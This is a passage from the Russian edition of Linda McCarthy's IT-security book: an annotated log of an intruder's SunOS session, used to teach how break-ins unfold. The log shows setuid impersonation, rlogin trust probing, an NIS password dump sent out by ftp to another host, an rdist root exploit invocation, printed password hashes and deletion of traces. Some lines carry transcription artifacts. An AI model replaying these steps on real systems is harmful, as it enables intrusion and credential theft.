Линда Маккарти - IT-безопасность: стоит ли рисковать корпорацией?
Строки с № 58 по 61
Взломщик редактирует программу С, чтобы изменить ID пользователя на 21477. Эта новая настройка позволяет ему переключить пользователя на "lorimo".
Строки с № 62 по № 66
Еще больше опечаток. Этому парню надо пойти на курсы для машинисток.
Строки с № 67 по № 75
Здесь хакер компилирует новую версию своего исполняемого кода, дает результату (a.out) другое имя, которое он не забудет (у него превосходный словарь). Исполнив два из своих рабочих скриптов, он изменяет свой ID пользователя.
50 # last lorin
51 wtmp begins Sat Jan 16 11:37
52 # grep lor /etc/passwwd
53 grep: /etc/passwwd: No such file or directory
54 # grep lor /etc/passwd
55 # ypcat passwd | grep lor
56 lori: N.4Pgz4iUS8kk:5734:50:Lori:/home/lori:/bin/csh
57 lorimo: xxTTF8y3fSqGo:21477:50:Lori:/home/lorimo:/bin/csh
58 # ed с. с
59/uid/
60 setuid(0);
61 setuid(21477);
62 # сс сс
63 сс: Warning: File with unknown suffix (.cc) passed to Id
64 Id:.cc: No such file or directory
65 # cc "c
66>"C
67 # cc c.c
68 # mv a.out shit
69 # chmod 6777 shit
70 #./suck
71 # id
72 uid=0(root) gid=0(wheel) groups=7
73 #./shit
74$ id
75 uid=21477(lorimo) gid=0(wheel) groups=7
Строки с № 76 по № 88
Теперь он ищет, куда еще можно пойти, посылая команды rlogin в другие системы и определяя те из них, которые бы доверяли lorimo (файлы. rhosts и /etc/hosts.equiv используются для установления доверия между системами). Если lorimo доверяют другие системы, то хакеру будет предоставлен доступ к этим системам без ввода пароля. Это называется «барабанить в двери» ("door rattling"). Если ему повезет, то он получит доступ к еще большему объему информации и создаст места для запуска будущих атак изнутри.
Строка № 89
Хакер сменил свою авторизацию обратно на суперпользователя (root).
Строки с № 90 по № 92
Он снова оглядывается (отсюда и команда "who"), затем проводит двойной контроль правильности полученной информации ID пользователя.
Строки с № 93 по № 94
Хакер ищет lorimo в таблице паролей сетевой информационной службы NIS.
Строка № 95
Хакер переходит в каталог /home.
76 $ rlogin tsunami
77 Password:
78 Login incorrect
79 Login incorrect
80 login: AD
81 Connection closed.
82 $ rlogjn suntzu
83 rlogjn: not found
84 $ rlogin suntzu
85 Password:
86 Login incorrect
87 login: D
88 Connection closed.
89 $"D
90 «who
91 ingres ttyp0 Jan 18 23:02
92 root ttyp2 Jan 15 18:38 (canyon)
93 # ypcat passwd | grep lorimo
94 lorimo: xxYTF8y3fSqGo:21477:50:Lori:/home/lorimo:/bin/csh
95 # cd /home
Строка № 96
Хакер начинает подготовительную работу по поиску файлов .rhost, имеющихся в /home. Смысл такого поиска состоит в том, что некоторые люди, использующие файл .rhost (для установки доверия), могут иметь много записей в .rhost по всей сети. После запуска этой задачи он пошел дальше.
Строки с № 97 по № 98
Хакер продолжает делать опечатки.
Строки с № 99 по № 100
Нашему другу надоело быть lorimo. Он проверяет файл паролей на наличие jeff. Он решает выдать себя за jeff. Но вначале он должен отредактировать свой код.
Строки с № 101 по № 11З
Он пытается редактировать свой код, но он не в том каталоге. Он переходит в правильный каталог, редактирует код, исполняет код и становится пользователем jeff.
Строки с № 114 по № 119
Став jeff хакер сделал правильный выбор. Он вошел в новую систему (tsunami), даже не пользуясь паролем. (Это отличный пример того, как опасно устанавливать доверительные отношения между системами.)
96 # find. -name.rhosts — print &
97 # gupr
98 # grep" C
99 # ypcat passwd | grep jeff
100 jeff: wW/q0t03L6xO.:13147:50:Jeff:/home/jeff:/bin/csh
101 # ed c.c
102 ?c,c: No such file or directory
103 #cd
104 # edc.c
105 /uid/
106 setuid(21477);
107 setuid(13147);
108 #ссс. с
109 # mv a.out shit
110 #chmod 6777 shit
111 #./shit
112 $ id
113 uid=13147(jeff) gid=0(wheel) groups=7
114 $ rlogj tsunami
115 rlogj: not found
116 $ rlogin tsunami
117 No directory! Logging in with home=/
118 SunOS Release 4.1.2 (TSUNAMI) #3: Sat Oct 24 07:56:45 PDT 1992
119 You have new mail.
Строки с № 120 по № 126
Хакер (который сейчас является пользователем jeff), запускает командную оболочку sh, чтобы не оставлять след в журналах. history оболочки csh. (Хакер тщательно следит за тем, чтобы не оставить свидетельств применения своих команд.) Затем он проверяет, нет ли кого еще в системе.
Строки с № 127 по № 136
Хакер пытается скопировать файл паролей и получает отказ в разрешении, так как у него нет разрешения копировать в этот каталог. Он проводит проверку с целью установить, под каким именем он зарегистрировался (должно быть, он уже его забыл). Он видит, что зарегистрировался как Jeff. Так как Jeff не имеет разрешения копировать файлы в этот каталог, то хакер меняет каталог на /tmp, в который любому пользователю разрешено производить копирование.
Строки с № 137 по № 141
Здесь он немного расправляет крылья и ищет таблицу паролей, чтобы ее скопировать и использовать. (Он копирует файл паролей NIS в файл, названный "ааа".) Хакеры часто копируют файлы паролей, чтобы подвергнуть их действию программ-взломщиков и получить больше паролей. Чем больше паролей есть у хакера, тем лучше он преуспеет в набегах на другие системы.
120 tsunami%AC
121 tsunami%sh
122 $ who
123 wendy ttyp2 Jan 6 13:55 (arawana)
124 derek ttyp3 Jan 13 17:57 (lajolla)
125 derekttyp4Jan 15 13:11 (lajolla)
126 jeff ttyp5 Jan 18 23:09 (valley)
127 $cat/etc/passwdAC
128 $ypcaty" C
129 $ ypcat passwd > suna
130 suna: Permission denied
131 Sid
132 uid=4401(jeff) gid=50(lastaff) groups=50(lastaff)
133 $pwd
134 $cd
135 $pwd
136 $cd/tmp
137 $ ypcat passwd >aaa
138 $ Is — tal aa
139 aa not found
140 $ is — tal aaa
141 — rw-r — r— 1 jeff 15382 Jan 18 23:09 aaa
Строки с № 142 по № 162
Теперь он открывает сессию ftp обратно к первоначальному хосту (valley) как пользователь ingres. В этой сессии он копирует файл паролей в систему valley. В той же самой сессии он копирует свои инструменты по работе с защитой из valley в tsunami.
Строки с № 163 по № 173
Снова он воссоздает свою небольшую С-программу (опущенную по соображениям безопасности) для того, чтобы воспользоваться программной ошибкой, открывающей защиту, и получить права доступа суперпользователя (root). Теперь он имеет полный контроль (доступ root) над системой tsunami.
142$ ftp valley
143 Connected to valley
144 220 valley FTP server (SunOS 4.1) ready.
145 Name (valley: jeff): ingres
146 331 Password required for ingres.
147 Password:
148 230 User ingres logged in.
149 ftp> send aaa
150 200 PORT command successful.
151 150 ASCII data connection for aaa
152 226 ASCII Transfer complete.
153 local: aaa remote: aaa
154 15578 bytes sent in 0.063 seconds (2.4e+02 Kbytes/s)
155 ftp> get foo
156 200 PORT command successful.
157 150 ASCII data connection for foo
158 226 ASCII Transfer complete.
159 local: foo remote: foo
160 1155 bytes received in 0.11 seconds (9.9 Kbytes/s)
161 ftp> quit
162 221 Goodbye.
163 $ cat too | /usr/ucb/rdist — Server localhost
164$/tmp/sh
165#rmfoo
166#rm/tmp/sh
167 rm: override protection 755 for /tmp/sh? у
168#edc.c
169#ccc.c
170 #chmod 6777 a.out
171 #./a.out
172 # id
173 uid=0(root) gid=0(wheel) groups=50(iastaff)
Строки с № 174 по № 182
Хакер ищет, есть ли в файле /etc/passwd какие-нибудь записи password.old или другие изменения. Он также пытается изменить пароль Jeff в NIS, но безуспешно.
Строки с № 183 по № 197
На этот раз он выводит список содержимого файла /etc/passwd.
174 # Is — ta! /etc/*ass*
175 — rw-r-r-1 root 634 Dec 7 12:31 /etc/passwd
176#cat/etc/}4U
177passwd
178 cat: /etc/}4: No such file or directory
179 Changing NIS password for jeff on suntzu.
180 Old password:
181 New password:
182 Password unchanged.
183 # cat/etc/passwd
184 root:R7QCfnYR4gvzU:0:1:Operator:/:/bin/csh
185nobody:*:65534:65534::/:
186daemon:*;1:1::/:
187sys:*:2:2::/:/bin/csh
188bin:*:3:3::/bin:
189 uucp:*:4:8::/var/spool/uucppublic:
190 news:*:6:6::/var/spool/news:/bin/csh
191 ingres:*:7:7::/usr/ingres:/bin/csh
192 audit:*:9:9::/etc/security/audit:/bin/csh
193 sync::1:1::/:/bin/sync
194 sysdiag:*:0;1:Old System Diag:/usr/diag/sysdiag:/usr/diag/ sysdiag/sysdiag
sundiag:*:0:1:System Diag:/usr/diag/su ndiag:/usr/diag/
sundiag/ sundiag
195 operator: INtDk7crldKh2:5:5 — Account forbackups;/usr/ backup: /bin/csh
196 lc:u0gFO1zE9Yx9U:27:50:LC Calendar:/var/lc:/bin/csh
197+::0;0:::
Строки с № 198 по № 209
Хакер меняет ID пользователя с суперпользователя обратно на jeff. Затем он повторно проверяет свой ID пользователя и начинает менять имя своего a.out на такое, которое он не забудет (как он уже прежде делал). Снова он запускает команду ls -1 для получения списка с новейшими файлами в начале его.
Строки с № 210 по № 212
Он удаляет свою локальную копию файла паролей NIS ("ааа"). Он уже скопировал этот файл на хост valley, поэтому здесь он ему не нужен. Затем удаляет свой исполняемый код и готов идти дальше.
Строки с № 213 по № 227
Хакер проверяет, какие файловые системы подмонтированы.
198 #4)
199 # id
200 uid=4401 (jeff) gid=50(iastaff) euid=0(root) groups=50(lastaff)
201 # тс^С
202 # mv^С
203 #mv a.out shit
204 # Is — tal
205 total 2415
206 drwxrwsrwx 3 bin 1024 Jan 18 23:12.
207 — rwsrwsrwx 1 root 24576 Jan 18 23:11 shit
208-rw-r-r- 1 root 61 Jan 18 23:11 c.c
209 — rw-r-r- 1 jeff 15382 Jan 18 23:09 aaa
210#rmaaa
211 #rmc.c
212 rm: override protection 644 for c.c? у
213 #df
214 Filesystem kbytes used avail capacity Mounted on
215 /dev/sdOa 10483 5081 4354 54 % /